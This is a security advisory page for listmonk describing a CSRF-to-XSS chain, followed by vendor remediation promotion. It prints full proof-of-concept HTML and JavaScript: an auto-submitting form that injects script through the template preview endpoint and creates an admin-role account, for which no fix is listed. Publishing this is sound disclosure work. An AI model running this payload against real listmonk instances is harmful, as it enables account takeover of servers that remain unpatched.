GHSA-rf24-wg77-gq7w
listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/knadh/listmonkReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce : <img width="1418" height="772" alt="user_creation_without_nonce_burp_request" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" />
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
And this request can also be made without nonce.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons :
- There is no validation of the
nonce(as mentioned above) - The
sessioncookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)
- Chrome ❌
- Firefox ✅
- Edge ✅
Example in Firefox :
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account:
<img width="1226" height="925" alt="browser_template_editor_with_final_payload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" />
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"[email protected]\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
Admin account creation
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/knadh/listmonk | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/knadh/listmonk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/knadh/listmonk has shipped for GHSA-rf24-wg77-gq7w yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rf24-wg77-gq7w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rf24-wg77-gq7w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rf24-wg77-gq7w in your dependencies?
O3 detects GHSA-rf24-wg77-gq7w across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.